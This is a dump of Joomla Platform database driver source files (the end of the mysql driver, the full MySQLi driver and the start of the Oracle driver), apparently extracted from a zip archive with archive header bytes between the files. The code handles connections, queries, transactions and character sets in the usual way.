mysql_free_result($cursor ? $cursor : $this->cursor);
}
/**
* Internal function to check if profiling is available
*
* @return boolean
*
* @since 3.1.3
*/
private function hasProfiling()
{
try
{
$res = mysql_query("SHOW VARIABLES LIKE
'have_profiling'", $this->connection);
$row = mysql_fetch_assoc($res);
return isset($row);
}
catch (Exception $e)
{
return false;
}
}
/**
* Does the database server claim to have support for UTF-8 Multibyte
(utf8mb4) collation?
*
* libmysql supports utf8mb4 since 5.5.3 (same version as the MySQL
server). mysqlnd supports utf8mb4 since 5.0.9.
*
* @return boolean
*
* @since CMS 3.5.0
*/
private function serverClaimsUtf8mb4Support()
{
$client_version = mysql_get_client_info();
$server_version = $this->getVersion();
if (version_compare($server_version, '5.5.3',
'<'))
{
return false;
}
else
{
if (strpos($client_version, 'mysqlnd') !== false)
{
$client_version = preg_replace('/^\D+([\d.]+).*/',
'$1', $client_version);
return version_compare($client_version, '5.0.9',
'>=');
}
else
{
return version_compare($client_version, '5.5.3',
'>=');
}
}
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
return (int) mysql_errno($this->connection);
}
/**
* Return the actual SQL Error message
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage()
{
$errorMessage = (string) mysql_error($this->connection);
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorMessage = str_replace($this->tablePrefix, '#__',
$errorMessage);
}
return $errorMessage;
}
}
PKHn�[�'�HaHadatabase/driver/mysqli.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQLi database driver
*
* @link https://www.php.net/manual/en/book.mysqli.php
* @since 3.0.0
*/
class JDatabaseDriverMysqli extends JDatabaseDriver
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'mysqli';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'mysql';
/**
* @var mysqli The database connection resource.
* @since 1.7.0
*/
protected $connection;
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.0.1
*/
protected $nameQuote = '`';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 3.0.1
*/
protected $nullDate = '0000-00-00 00:00:00';
/**
* @var string The minimum supported database version.
* @since 3.0.1
*/
protected static $dbMinimum = '5.0.4';
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 3.0.0
*/
public function __construct($options)
{
// Get some basic values from the options.
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['select'] = (isset($options['select'])) ?
(bool) $options['select'] : true;
$options['port'] = (isset($options['port'])) ?
(int) $options['port'] : null;
$options['socket'] = (isset($options['socket'])) ?
$options['socket'] : null;
// Finalize initialisation.
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
/*
* Unlike mysql_connect(), mysqli_connect() takes the port and socket as
separate arguments. Therefore, we
* have to extract them from the host string.
*/
$port = isset($this->options['port']) ?
$this->options['port'] : 3306;
$regex =
'/^(?P<host>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))(:(?P<port>.+))?$/';
if (preg_match($regex, $this->options['host'], $matches))
{
// It's an IPv4 address with or without port
$this->options['host'] = $matches['host'];
if (!empty($matches['port']))
{
$port = $matches['port'];
}
}
elseif
(preg_match('/^(?P<host>\[.*\])(:(?P<port>.+))?$/',
$this->options['host'], $matches))
{
// We assume square-bracketed IPv6 address with or without port, e.g.
[fe80:102::2%eth1]:3306
$this->options['host'] = $matches['host'];
if (!empty($matches['port']))
{
$port = $matches['port'];
}
}
elseif
(preg_match('/^(?P<host>(\w+:\/{2,3})?[a-z0-9\.\-]+)(:(?P<port>[^:]+))?$/i',
$this->options['host'], $matches))
{
// Named host (e.g example.com or localhost) with or without port
$this->options['host'] = $matches['host'];
if (!empty($matches['port']))
{
$port = $matches['port'];
}
}
elseif (preg_match('/^:(?P<port>[^:]+)$/',
$this->options['host'], $matches))
{
// Empty host, just port, e.g. ':3306'
$this->options['host'] = 'localhost';
$port = $matches['port'];
}
// ... else we assume normal (naked) IPv6 address, so host and port stay
as they are or default
// Get the port number or socket name
if (is_numeric($port))
{
$this->options['port'] = (int) $port;
}
else
{
$this->options['socket'] = $port;
}
// Make sure the MySQLi extension for PHP is installed and enabled.
if (!self::isSupported())
{
throw new JDatabaseExceptionUnsupported('The MySQLi extension for
PHP is not installed or enabled.');
}
$this->connection = @mysqli_connect(
$this->options['host'],
$this->options['user'],
$this->options['password'], null,
$this->options['port'], $this->options['socket']
);
// Attempt to connect to the server.
if (!$this->connection)
{
throw new JDatabaseExceptionConnecting('Could not connect to MySQL
server.');
}
// Set sql_mode to non_strict mode
mysqli_query($this->connection, "SET @@SESSION.sql_mode =
'';");
// If auto-select is enabled select the given database.
if ($this->options['select'] &&
!empty($this->options['database']))
{
$this->select($this->options['database']);
}
// Pre-populate the UTF-8 Multibyte compatibility flag based on server
version
$this->utf8mb4 = $this->serverClaimsUtf8mb4Support();
// Set the character set (needed for MySQL 4.1.2+).
$this->utf = $this->setUtf();
// Disable query cache and turn profiling ON in debug mode.
if ($this->debug)
{
mysqli_query($this->connection, 'SET query_cache_type =
0;');
if ($this->hasProfiling())
{
mysqli_query($this->connection, 'SET profiling_history_size =
100, profiling = 1;');
}
}
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
// Close the connection.
if ($this->connection instanceof mysqli &&
$this->connection->stat() !== false)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 3.0.0
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
$this->connect();
$result = mysqli_real_escape_string($this->getConnection(), $text);
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}
/**
* Test to see if the MySQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return function_exists('mysqli_connect');
}
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 3.0.0
*/
public function connected()
{
if (is_object($this->connection))
{
return mysqli_ping($this->connection);
}
return false;
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return JDatabaseDriverMysqli Returns this object to support
chaining.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true);
$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS
' : '') . $query->quoteName($tableName));
$this->execute();
return $this;
}
/**
* Get the number of affected rows by the last INSERT, UPDATE, REPLACE or
DELETE for the previous executed SQL statement.
*
* @return integer The number of affected rows.
*
* @since 3.0.0
*/
public function getAffectedRows()
{
$this->connect();
return mysqli_affected_rows($this->connection);
}
/**
* Method to get the database collation.
*
* @return mixed The collation in use by the database (string) or
boolean false if not supported.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function getCollation()
{
$this->connect();
// Attempt to get the database collation by accessing the server system
variable.
$this->setQuery('SHOW VARIABLES LIKE
"collation_database"');
$result = $this->loadObject();
if (property_exists($result, 'Value'))
{
return $result->Value;
}
else
{
return false;
}
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
$this->connect();
// Attempt to get the database collation by accessing the server system
variable.
$this->setQuery('SHOW VARIABLES LIKE
"collation_connection"');
$result = $this->loadObject();
if (property_exists($result, 'Value'))
{
return $result->Value;
}
else
{
return false;
}
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
* This command is only valid for statements like SELECT or SHOW that
return an actual result set.
* To retrieve the number of rows affected by an INSERT, UPDATE, REPLACE
or DELETE query, use getAffectedRows().
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 3.0.0
*/
public function getNumRows($cursor = null)
{
return mysqli_num_rows($cursor ? $cursor : $this->cursor);
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
$result = array();
// Sanitize input to an array and iterate over the list.
settype($tables, 'array');
foreach ($tables as $table)
{
// Set the query to get the table CREATE statement.
$this->setQuery('SHOW CREATE table ' .
$this->quoteName($this->escape($table)));
$row = $this->loadRow();
// Populate the result array based on the create statements.
$result[$table] = $row[1];
}
return $result;
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$result = array();
// Set the query to get the table fields statement.
$this->setQuery('SHOW FULL COLUMNS FROM ' .
$this->quoteName($this->escape($table)));
$fields = $this->loadObjectList();
// If we only want the type as the value add just that to the list.
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->Field] = preg_replace('/[(0-9)]/',
'', $field->Type);
}
}
// If we want the whole field data object add that to the list.
else
{
foreach ($fields as $field)
{
$result[$field->Field] = $field;
}
}
return $result;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// Get the details columns information.
$this->setQuery('SHOW KEYS FROM ' .
$this->quoteName($table));
$keys = $this->loadObjectList();
return $keys;
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
// Set the query to get the tables statement.
$this->setQuery('SHOW TABLES');
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.0.0
*/
public function getVersion()
{
$this->connect();
return mysqli_get_server_info($this->connection);
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return mixed The value of the auto-increment field from the last
inserted row.
* If the value is greater than maximal int value, it will
return a string.
*
* @since 3.0.0
*/
public function insertid()
{
$this->connect();
return mysqli_insert_id($this->connection);
}
/**
* Locks a table in the database.
*
* @param string $table The name of the table to unlock.
*
* @return JDatabaseDriverMysqli Returns this object to support
chaining.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function lockTable($table)
{
$this->setQuery('LOCK TABLES ' . $this->quoteName($table)
. ' WRITE')->execute();
return $this;
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function execute()
{
$this->connect();
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof JDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
$query .= ' LIMIT ' . $this->offset . ', ' .
$this->limit;
}
if (!is_object($this->connection))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
$memoryBefore = null;
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
JLog::add($query, JLog::DEBUG, 'databasequery');
$this->timings[] = microtime(true);
if (is_object($this->cursor))
{
// Avoid warning if result already freed by third-party library
@$this->freeResult();
}
$memoryBefore = memory_get_usage();
}
// Execute the query. Error suppression is used here to prevent
warnings/notices that the connection has been lost.
$this->cursor = @mysqli_query($this->connection, $query);
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
$this->callStacks[count($this->callStacks) -
1][0]['memory'] = array(
$memoryBefore,
memory_get_usage(),
is_object($this->cursor) ? $this->getNumRows() : null,
);
}
// If an error occurred handle it.
if (!$this->cursor)
{
// Get the error number and message before we execute any more queries.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
// Get the error number and message.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum, $e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
}
return $this->cursor;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by MySQL.
* @param string $prefix Not used by MySQL.
*
* @return JDatabaseDriverMysqli Returns this object to support
chaining.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->setQuery('RENAME TABLE ' . $oldTable . ' TO
' . $newTable)->execute();
return $this;
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
if (!$database)
{
return false;
}
if (!mysqli_select_db($this->connection, $database))
{
throw new JDatabaseExceptionConnecting('Could not connect to MySQL
database.');
}
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 3.0.0
*/
public function setUtf()
{
// If UTF is not supported return false immediately
if (!$this->utf)
{
return false;
}
// Make sure we're connected to the server
$this->connect();
// Which charset should I use, plain utf8 or multibyte utf8mb4?
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
$result = @$this->connection->set_charset($charset);
/**
* If I could not set the utf8mb4 charset then the server doesn't
support utf8mb4 despite claiming otherwise.
* This happens on old MySQL server versions (less than 5.5.3) using the
mysqlnd PHP driver. Since mysqlnd
* masks the server version and reports only its own we can not be sure
if the server actually does support
* UTF-8 Multibyte (i.e. it's MySQL 5.5.3 or later). Since the
utf8mb4 charset is undefined in this case we
* catch the error and determine that utf8mb4 is not supported!
*/
if (!$result && $this->utf8mb4)
{
$this->utf8mb4 = false;
$result = @$this->connection->set_charset('utf8');
}
return $result;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.0.1
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('COMMIT')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.0.1
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('ROLLBACK')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.0.1
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
if ($this->setQuery('START TRANSACTION')->execute())
{
$this->transactionDepth = 1;
}
return;
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchArray($cursor = null)
{
return mysqli_fetch_row($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchAssoc($cursor = null)
{
return mysqli_fetch_assoc($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
return mysqli_fetch_object($cursor ? $cursor : $this->cursor, $class);
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult($cursor = null)
{
mysqli_free_result($cursor ? $cursor : $this->cursor);
if ((! $cursor) || ($cursor === $this->cursor))
{
$this->cursor = null;
}
}
/**
* Unlocks tables in the database.
*
* @return JDatabaseDriverMysqli Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function unlockTables()
{
$this->setQuery('UNLOCK TABLES')->execute();
return $this;
}
/**
* Internal function to check if profiling is available
*
* @return boolean
*
* @since 3.1.3
*/
private function hasProfiling()
{
try
{
$res = mysqli_query($this->connection, "SHOW VARIABLES LIKE
'have_profiling'");
$row = mysqli_fetch_assoc($res);
return isset($row);
}
catch (Exception $e)
{
return false;
}
}
/**
* Does the database server claim to have support for UTF-8 Multibyte
(utf8mb4) collation?
*
* libmysql supports utf8mb4 since 5.5.3 (same version as the MySQL
server). mysqlnd supports utf8mb4 since 5.0.9.
*
* @return boolean
*
* @since CMS 3.5.0
*/
private function serverClaimsUtf8mb4Support()
{
$client_version = mysqli_get_client_info();
$server_version = $this->getVersion();
if (version_compare($server_version, '5.5.3',
'<'))
{
return false;
}
else
{
if (strpos($client_version, 'mysqlnd') !== false)
{
$client_version = preg_replace('/^\D+([\d.]+).*/',
'$1', $client_version);
return version_compare($client_version, '5.0.9',
'>=');
}
else
{
return version_compare($client_version, '5.5.3',
'>=');
}
}
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
return (int) mysqli_errno($this->connection);
}
/**
* Return the actual SQL Error message
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage()
{
$errorMessage = (string) mysqli_error($this->connection);
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorMessage = str_replace($this->tablePrefix, '#__',
$errorMessage);
}
return $errorMessage;
}
}
PKHn�[����=�=database/driver/oracle.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Oracle database driver
*
* @link https://www.php.net/pdo
* @since 3.0.0
*/
class JDatabaseDriverOracle extends JDatabaseDriverPdo
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'oracle';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'oracle';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.0.0
*/
protected $nameQuote = '"';
/**
* Returns the current dateformat
*
* @var string
* @since 3.0.0
*/
protected $dateformat;
/**
* Returns the current character set
*
* @var string
* @since 3.0.0
*/
protected $charset;
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 3.0.0
*/
public function __construct($options)
{
$options['driver'] = 'oci';
$options['charset'] = (isset($options['charset']))
? $options['charset'] : 'AL32UTF8';
$options['dateformat'] =
(isset($options['dateformat'])) ?
$options['dateformat'] : 'RRRR-MM-DD HH24:MI:SS';
$this->charset = $options['charset'];
$this->dateformat = $options['dateformat'];
// Finalize initialisation
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
parent::connect();
if (isset($this->options['schema']))
{
$this->setQuery('ALTER SESSION SET CURRENT_SCHEMA = ' .
$this->quoteName($this->options['schema']))->execute();
}
$this->setDateFormat($this->dateformat);
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
// Close the connection.
$this->freeResult();
$this->connection = null;
}
/**
* Drops a table from the database.
*
* Note: The IF EXISTS flag is unused in the Oracle driver.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return JDatabaseDriverOracle Returns this object to support
chaining.
*
* @since 3.0.0
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true)
->setQuery('DROP TABLE :tableName');
$query->bind(':tableName', $tableName);
$this->setQuery($query);
$this->execute();
return $this;
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 3.0.0
*/
public function getCollation()
{
return $this->charset;
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
return $this->charset;
}
/**
* Get a query to run and verify the database is operational.
*
* @return string The query to check the health of the DB.
*
* @since 3.0.1
*/
public function getConnectedQuery()
{
return 'SELECT 1 FROM dual';
}
/**
* Returns the current date format
* This method should be useful in the case that
* somebody actually wants to use a different
* date format and needs to check what the current
* one is to see if it needs to be changed.
*
* @return string The current date format
*
* @since 3.0.0
*/
public function getDateFormat()
{
return $this->dateformat;
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* Note: You must have the correct privileges before this method
* will return usable results!
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
$result = array();
$query = $this->getQuery(true)
->select('dbms_metadata.get_ddl(:type, :tableName)')
->from('dual')
->bind(':type', 'TABLE');
// Sanitize input to an array and iterate over the list.
settype($tables, 'array');
foreach ($tables as $table)
{
$query->bind(':tableName', $table);
$this->setQuery($query);
$statement = (string) $this->loadResult();
$result[$table] = $statement;
}
return $result;
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$columns = array();
$query = $this->getQuery(true);
$fieldCasing = $this->getOption(PDO::ATTR_CASE);
$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
$table = strtoupper($table);
$query->select('*');
$query->from('ALL_TAB_COLUMNS');
$query->where('table_name = :tableName');
$prefixedTable = str_replace('#__',
strtoupper($this->tablePrefix), $table);
$query->bind(':tableName', $prefixedTable);
$this->setQuery($query);
$fields = $this->loadObjectList();
if ($typeOnly)
{
foreach ($fields as $field)
{
$columns[$field->COLUMN_NAME] = $field->DATA_TYPE;
}
}
else
{
foreach ($fields as $field)
{
$columns[$field->COLUMN_NAME] = $field;
$columns[$field->COLUMN_NAME]->Default = null;
}
}
$this->setOption(PDO::ATTR_CASE, $fieldCasing);
return $columns;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
$query = $this->getQuery(true);
$fieldCasing = $this->getOption(PDO::ATTR_CASE);
$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
$table = strtoupper($table);
$query->select('*')
->from('ALL_CONSTRAINTS')
->where('table_name = :tableName')
->bind(':tableName', $table);
$this->setQuery($query);
$keys = $this->loadObjectList();
$this->setOption(PDO::ATTR_CASE, $fieldCasing);
return $keys;
}
/**
* Method to get an array of all tables in the database (schema).
*
* @param string $databaseName The database (schema) name
* @param boolean $includeDatabaseName Whether to include the schema
name in the results
*
* @return array An array of all the tables in the database.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableList($databaseName = null, $includeDatabaseName =
false)
{
$this->connect();
$query = $this->getQuery(true);
if ($includeDatabaseName)
{
$query->select('owner, table_name');
}
else
{
$query->select('table_name');
}
$query->from('all_tables');
if ($databaseName)
{
$query->where('owner = :database')
->bind(':database', $databaseName);
}
$query->order('table_name');
$this->setQuery($query);
if ($includeDatabaseName)
{
$tables = $this->loadAssocList();
}
else
{
$tables = $this->loadColumn();
}
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.0.0
*/
public function getVersion()
{
$this->connect();
$this->setQuery("select value from nls_database_parameters where
parameter = 'NLS_RDBMS_VERSION'");
return $this->loadResult();
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
return true;
}
/**
* Sets the Oracle Date Format for the session
* Default date format for Oracle is = DD-MON-RR
* The default date format for this driver is:
* 'RRRR-MM-DD HH24:MI:SS' since it is the format
* that matches the MySQL one used within most Joomla
* tables.
*
* @param string $dateFormat Oracle Date Format String
*
* @return boolean
*
* @since 3.0.0
*/
public function setDateFormat($dateFormat = 'DD-MON-RR')
{
$this->connect();
$this->setQuery("ALTER SESSION SET NLS_DATE_FORMAT =
'$dateFormat'");
if (!$this->execute())
{
return false;
}
$this->setQuery("ALTER SESSION SET NLS_TIMESTAMP_FORMAT =
'$dateFormat'");
if (!$this->execute())
{
return false;
}
$this->dateformat = $dateFormat;
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* Returns false automatically for the Oracle driver since
* you can only set the character set when the connection
* is created.
*
* @return boolean True on success.
*
* @since 3.0.0
*/
public function setUtf()
{
return false;
}
/**
* Locks a table in the database.
*
* @param string $table The name of the table to unlock.
*
* @return JDatabaseDriverOracle Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function lockTable($table)
{
$this->setQuery('LOCK TABLE ' . $this->quoteName($table)
. ' IN EXCLUSIVE MODE')->execute();
return $this;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by Oracle.
* @param string $prefix Not used by Oracle.
*
* @return JDatabaseDriverOracle Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->setQuery('RENAME ' . $oldTable . ' TO ' .
$newTable)->execute();
return $this;
}
/**
* Unlocks tables in the database.
*
* @return JDatabaseDriverOracle Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function unlockTables()
{
$this->setQuery('COMMIT')->execute();
return $this;
}
/**
* Test to see if the PDO ODBC connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return class_exists('PDO') && in_array('oci',
PDO::getAvailableDrivers());
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
* <var>tablePrefix</var> class variable.
*
* @param string $query The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 1.7.0
*/
public function replacePrefix($query, $prefix = '#__')
{
$startPos = 0;
$quoteChar = "'";
$literal = '';
$query = trim($query);
$n = strlen($query);
while ($startPos < $n)
{
$ip = strpos($query, $prefix, $startPos);
if ($ip === false)
{
break;
}
$j = strpos($query, "'", $startPos);
if ($j === false)
{
$j = $n;
}
$literal .= str_replace($prefix, $this->tablePrefix, substr($query,
$startPos, $j - $startPos));
$startPos = $j;
$j = $startPos + 1;
